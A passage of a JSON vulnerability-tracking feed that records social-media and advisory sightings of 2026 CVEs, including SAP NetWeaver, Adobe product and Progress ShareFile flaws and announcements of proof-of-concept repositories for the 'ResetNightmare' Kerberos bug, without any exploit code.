PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-08T18:00:03.273485Z"}, {"uuid": "1f76ed61-84c1-4325-89e6-43342a063e2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27145", "type": "seen", "source": "Telegram/5i-pTes7Ja_8Uhuw9wP6auiAd2fWyZYO3DYvaqIb_mREm_4", "content": "", "creation_timestamp": "2026-06-03T09:00:04.000000Z"}, {"uuid": "91343331-87c5-4050-87fd-67fba8f10447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97197", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ResetNightmare-impacket\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mihat2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-08 16:40:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27912 (ResetNightmare) \u2014 Linux/impacket port of Semperis Community's Invoke-ResetNightmare PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-09T00:46:42.921845Z"}, {"uuid": "8cdec519-30df-4e49-8bdf-873493401a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://t.me/GithubRedTeam/98056", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Kerberos-CVE-2026-27912\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oxstussz-eng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 14:57:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27912 - Windows Kerberos Elevation of Privilege (ResetNightmare). Unauthorized password reset via Kerberos flaw. For security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-14T16:00:23.086696Z"}, {"uuid": "7c08866d-3721-4a14-863a-6d6c3eda4147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/tierrasapiens.bsky.social/post/3msvc4lr5w323", "content": "\ud83d\uddb2\ufe0f #Noticia #CiberSeguridad #Cybersecurity #CiberNoticia\n\nResetNightmare: exploit p\u00fablico permite restablecer cualquier contrase\u00f1a de cuenta de AD (CVE-2026-27912)\n\nLeer M\u00e1s / Read More...", "creation_timestamp": "2026-08-12T14:01:14.859274Z"}, {"uuid": "82a38536-1ebc-4e1e-954a-b9c8666e8b86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/onelab1337/2873", "content": "New Progress ShareFile Flaws Expose Servers to Unauthorized Remote Takeover\n\nSecurity researchers at watchTowr Labs have disclosed a critical exploit chain in the Progress ShareFile Storage Zone Controller.\n\nThe vulnerabilities, tracked as CVE-2026-2699 and CVE-2026-2701, enable unauthenticated attackers to achieve Remote Code Execution (RCE) and completely compromise vulnerable servers.\n\nWith roughly 30,000 instances exposed to the public internet, organizations are urged to patch immediately to prevent catastrophic data breaches.\n\nManaged file transfer (MFT) solutions remain a top target for advanced persistent threat (APT) groups and ransomware syndicates.\n\nFollowing historic breaches involving tools like MOVEit, Cleo Harmony, and GoAnywhere, threat actors continuously hunt for unpatched data-sharing gateways.\n\nSee more here \ud83d\udc4b", "creation_timestamp": "2026-08-09T04:19:14.451155Z"}, {"uuid": "35e9c6a8-8316-4e5d-b786-8e3013e8d0aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://t.me/VulnerabilityNews/41951", "content": "April Patch Tuesday Fixes Critical Flaws Across SAP, Adobe, Microsoft, Fortinet, and More\n\nA number\u00a0of critical vulnerabilities impacting products from Adobe, Fortinet, Microsoft, and SAP have taken center stage in April's Patch Tuesday\u00a0releases.\nTopping the list is an SQL injection vulnerability impacting SAP Business Planning and Consolidation and SAP Business Warehouse\u00a0(CVE-2026-27681, CVSS score: 9.9) that could result in the execution of arbitrary database\nhttps://thehackernews.com/2026/04/april-patch-tuesday-fixes-critical.html", "creation_timestamp": "2026-08-18T19:00:05.112238Z"}, {"uuid": "724b5486-91d6-44fe-8582-6cac43f6c115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T17:00:00.000000Z"}, {"uuid": "63129d51-21f9-4a0d-bd66-caf6d2d49c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mntb2d6qye2p", "content": "CVE-2026-27671 - Memory Corruption vulnerability in Application Server ABAP of SAP NetWeaver and ABAP Platform\nCVE ID : CVE-2026-27671\n \n Published : June 9, 2026, 1:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Due to improper RFC protocol validation in the SAP Kernel use...", "creation_timestamp": "2026-06-09T03:30:45.499925Z"}, {"uuid": "bcf371ec-b91e-419c-a24d-91ed4b943f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27671", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mntef2rvqs2f", "content": "CRITICAL: Stack-based buffer overflow in SAP NetWeaver & ABAP Platform (CVE-2026-27671). No patch yet \u2014 restrict RFC network access & watch advisories. https://radar.offseq.com/threat/cve-2026-27671-cwe-121-stack-based-buffer-overflow-4df15939 #OffSeq #SAP #Security", "creation_timestamp": "2026-06-09T04:30:27.488020Z"}, {"uuid": "9e50683f-57bd-429f-97b6-a3c6f8378852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27671", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116718267569609549", "content": "\ud83d\udea8 CRITICAL: CVE-2026-27671 affects SAP NetWeaver & ABAP Platform (multiple versions). Stack-based buffer overflow via RFC, unauthenticated remote exploitation. No patch yet \u2014 restrict RFC access & monitor advisories. https://radar.offseq.com/threat/cve-2026-27671-cwe-121-stack-based-buffer-overflow-4df15939 #OffSeq #SAP #Vuln", "creation_timestamp": "2026-06-09T04:30:30.521387Z"}, {"uuid": "6e33ee83-0053-44c3-928d-a39a509746b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/pphm_HackerNews/2322", "content": "\ud83d\udd34 n8n Sandbox Escape Lets Workflow Editors Run OS Commands as the n8n Process\n\nn8n has patched a high-severity expression-sandbox escape that could let an authenticated workflow editor execute operating-system commands on the server running the automation platform. Security Joes found the flaw while probing n8n's February fix for CVE-2026-27577 for another bypass.\n\nThe affected ranges are <2.31.5 and >=2.32.0,<2.32.1. n8n fixed the flaw in versions 2.31.5 and 2.32.1. It tracks the issue as GHSA-gv7g-jm28-cr3m, rates it High with a CVSS 4.0 score of 8.7, and no CVE had been assigned as of July 27, 2026.", "creation_timestamp": "2026-08-21T23:00:07.925313Z"}, {"uuid": "3ab2c749-d779-4f99-a68d-948a8a9b8f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98079", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ResetNightmare\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Semperis-Community\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PowerShell\n\u2b50 Star\u6570\u91cf\uff1a 194  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 34\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 17:21:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC tool for ResetNightmare (CVE-2026-27912)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-14T19:00:06.744064Z"}, {"uuid": "96c17009-cfe3-4b13-b720-f6819e02e987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "Telegram/_vir8PHcFXMNY3qmJBX6iWTyJzWWGg928tieDwqp2_1Bjyo", "content": "", "creation_timestamp": "2026-08-09T05:11:07.731031Z"}, {"uuid": "6fb29b12-dca2-47bd-8756-1921b2292679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://www.acn.gov.it/portale/w/sap-security-patch-day-17", "content": "", "creation_timestamp": "2026-06-09T01:20:31.000000Z"}, {"uuid": "5a1880e7-1a16-4f7f-b134-638c961b8537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27291", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mntx73asuu2e", "content": "\ud83d\udccc CVE-2026-27291 - InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution ... https://www.cyberhub.blog/cves/CVE-2026-27291", "creation_timestamp": "2026-06-09T10:07:07.060329Z"}, {"uuid": "5ad5f4a3-9751-4e6d-8ed6-01170bfb1b8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27145", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mnu5kkpwcs2r", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-27145 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/543 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-06-09T12:00:55.921950Z"}, {"uuid": "6b82f393-ad9d-4a60-b9a7-d31980fdce31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnu76qz3un2z", "content": "\ud83d\udd17 CVE : CVE-2025-68161, CVE-2026-22732, CVE-2026-24315, CVE-2026-27671, CVE-2026-29145, CVE-2026-40128, CVE-2026-44743, CVE-2026-44744, CVE-2026-44746, CVE-2026-44748, CVE-2026-44750, CVE-2026-44751, CVE-2026-44754, CVE-2026-44755, CVE-2026-44757", "creation_timestamp": "2026-06-09T12:30:08.667333Z"}, {"uuid": "a162eeb4-9f58-4228-b109-de83be46e5c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mnuedbrrtf2u", "content": "CVE-2026-27671 - Critical memory corruption in SAP NetWeaver/ABAP Platform via crafted RFC request. Unauthenticated RCE risk. CVSS 9.8. No patch yet. Isolate affected systems immediately. #CVE #SAP #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-27671/", "creation_timestamp": "2026-06-09T14:02:07.030534Z"}, {"uuid": "6dd0958c-3a69-42f3-9651-45d66bb9b3da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6lol2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:38.981408Z"}, {"uuid": "b983d688-a079-46ef-822b-3f88a0054cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6uht2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:54.183928Z"}, {"uuid": "d5b2ce8e-c0ea-4db0-b4fc-b44accdde597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6sjd2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:40.290236Z"}, {"uuid": "78ff6cda-7a1e-45b7-8996-f2f2302d2444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6til2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:41.631432Z"}, {"uuid": "010bce3e-43d5-4fd5-8e86-d6fb97cb9a52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6vh32y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:55.586813Z"}, {"uuid": "94391fc6-10c5-4948-924e-aa1b47fde7dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27537", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mt2xyu6pyv2p", "content": "CVE-2026-27537 popup-by-supsystic (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-14T20:16:09.225509Z"}, {"uuid": "f2578447-b82b-4125-892f-2cd05e1a6ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6wgd2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:57.197682Z"}, {"uuid": "5cfc0b64-4f30-442c-8011-e64ad2132d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6xfl2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:52:58.786467Z"}, {"uuid": "c7cff16b-48b4-4ed1-9e33-66a4839cbc6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6xfm2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:53:00.197501Z"}, {"uuid": "19ee55ec-ece3-4ac9-8581-751d44d701a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mnuh5n6yeu2y", "content": "3/ \u26a0\ufe0f SAP Patch Tuesday: CVE-2026-44748 (CVSS 9.9) \u2014 XML tampering lets attackers hijack enterprise identity across SAP systems. CVE-2026-27671 (CVSS 9.8) \u2014 unauthenticated memory corruption. Patch both NOW.", "creation_timestamp": "2026-06-09T14:53:01.487322Z"}, {"uuid": "c844e389-3db6-4701-aeb2-16220603bfcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnv67dcpyh2j", "content": "SAP's June 2026 patch fixes 15 flaws, including 4 critical issues in NetWeaver and Commerce Cloud. CVE-2026-44748 and CVE-2026-27671 may enable auth bypass, memory corruption, and directory traversal. #SAP #NetWeaver #CommerceCloud", "creation_timestamp": "2026-06-09T21:45:12.307949Z"}, {"uuid": "3ebfb290-880d-47c8-830a-4766d1b2f420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27282", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnvg55bkeo27", "content": "\ud83d\udccc CVE-2026-27282 - ColdFusion versions 2023.18, 2025.6 and earlier are affected by an Improper Input Validation vulnerability that could result in a Security feature byp... https://www.cyberhub.blog/cves/CVE-2026-27282", "creation_timestamp": "2026-06-10T00:07:08.516028Z"}, {"uuid": "af854afe-7573-4cab-b3e9-1ef8601bcdae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27238", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnvmtpvb622o", "content": "\ud83d\udccc CVE-2026-27238 - InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code exec... https://www.cyberhub.blog/cves/CVE-2026-27238", "creation_timestamp": "2026-06-10T02:07:09.177195Z"}, {"uuid": "4cfc248d-8ce0-452c-8dc7-9f44a14886ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27284", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnvq6yrdzq22", "content": "\ud83d\udccc CVE-2026-27284 - InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result... https://www.cyberhub.blog/cves/CVE-2026-27284", "creation_timestamp": "2026-06-10T03:07:07.747050Z"}, {"uuid": "cf2d1bbc-014a-4448-81cb-edd11636c386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27306", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnvwvl35q62q", "content": "\ud83d\udccc CVE-2026-27306 - ColdFusion versions 2023.18, 2025.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code executi... https://www.cyberhub.blog/cves/CVE-2026-27306", "creation_timestamp": "2026-06-10T05:07:07.542241Z"}, {"uuid": "c670df1c-01f0-4147-a864-57d197d7147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/yoota.it/post/3mnwb3aunp42p", "content": "Il report di maggio di Forgejo fa i conti con due vicende di sicurezza: la \"Carrot Disclosure\" di aprile e la CVE-2026-27771 sui registri container. Cosa \u00e8 successo davvero.", "creation_timestamp": "2026-06-10T08:09:15.717989Z"}, {"uuid": "9bddb2f5-531f-444d-920f-90476866188f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/mathieu.fenniak.net/post/3mnwroj6kos2s", "content": "Correzione: la vulnerabilit\u00e0 CVE-2026-27771 interessa Forgejo e Gitea esattamente allo stesso modo, con lo stesso modello di sicurezza. Entrambi i sistemi hanno rilasciato patch simili per aggiungere avvisi all'interfaccia utente. (Traduzione automatica.)", "creation_timestamp": "2026-06-10T13:06:21.906129Z"}, {"uuid": "e6546cfd-e901-401e-b198-8c560fcea9df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27313", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnzh7p7p4z2o", "content": "\ud83d\udccc CVE-2026-27313 - Bridge versions 16.0.2, 15.1.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in... https://www.cyberhub.blog/cves/CVE-2026-27313", "creation_timestamp": "2026-06-11T14:37:06.610930Z"}, {"uuid": "740d83e4-f0c5-41aa-b932-af99a9f1a372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27311", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnzkkxnqhq2a", "content": "\ud83d\udccc CVE-2026-27311 - Bridge versions 16.0.2, 15.1.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in... https://www.cyberhub.blog/cves/CVE-2026-27311", "creation_timestamp": "2026-06-11T15:37:26.718030Z"}, {"uuid": "8dbe8a27-b84b-403c-91d9-9c318c81e648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27022", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mnzmg7zp4z2u", "content": "~Checkpoint~\nCheck Point Research found SQLi and unsafe deserialization flaws in LangGraph checkpointers leading to RCE.\n-\nIOCs: CVE-2025-67644, CVE-2026-28277, CVE-2026-27022\n-\n#CVE202567644 #LangGraph #ThreatIntel", "creation_timestamp": "2026-06-11T16:10:14.694941Z"}, {"uuid": "db385449-9253-4b54-b6c9-1b1867d0abed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27289", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mo3qy3is3h2e", "content": "\ud83d\udccc CVE-2026-27289 - Photoshop Desktop versions 27.4 and earlier are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a r... https://www.cyberhub.blog/cves/CVE-2026-27289", "creation_timestamp": "2026-06-12T12:37:07.988194Z"}, {"uuid": "5ed15769-106a-46d2-9554-eb24a59c31b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mo3ry7mosb27", "content": "\ud83d\udd17 CVE : CVE-2025-62718, CVE-2026-26996, CVE-2026-27903, CVE-2026-27904, CVE-2026-40971, CVE-2026-40974, CVE-2026-8620, CVE-2026-8633, CVE-2026-8644, CVE-2026-9311, CVE-2026-9319, CVE-2026-9330", "creation_timestamp": "2026-06-12T12:55:06.296422Z"}, {"uuid": "e3b5ee62-9456-4093-a91b-6ba30f2f0d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mo3ry7mosb27", "content": "\ud83d\udd17 CVE : CVE-2025-62718, CVE-2026-26996, CVE-2026-27903, CVE-2026-27904, CVE-2026-40971, CVE-2026-40974, CVE-2026-8620, CVE-2026-8633, CVE-2026-8644, CVE-2026-9311, CVE-2026-9319, CVE-2026-9330", "creation_timestamp": "2026-06-12T12:55:06.439445Z"}, {"uuid": "8f87ec7b-544a-472b-b6fa-0e837b792f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27298", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mo5z2rghky23", "content": "\ud83d\udccc CVE-2026-27298 - Adobe Framemaker versions 2022.8 and earlier are affected by an Access of Resource Using Incompatible Type ('Type Confusion') vulnerability that could... https://www.cyberhub.blog/cves/CVE-2026-27298", "creation_timestamp": "2026-06-13T10:07:07.910443Z"}, {"uuid": "3e38be55-12e3-4a25-98ca-abd37cd80aa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27296", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mo67rdr5if2f", "content": "\ud83d\udccc CVE-2026-27296 - Adobe Framemaker versions 2022.8 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary co... https://www.cyberhub.blog/cves/CVE-2026-27296", "creation_timestamp": 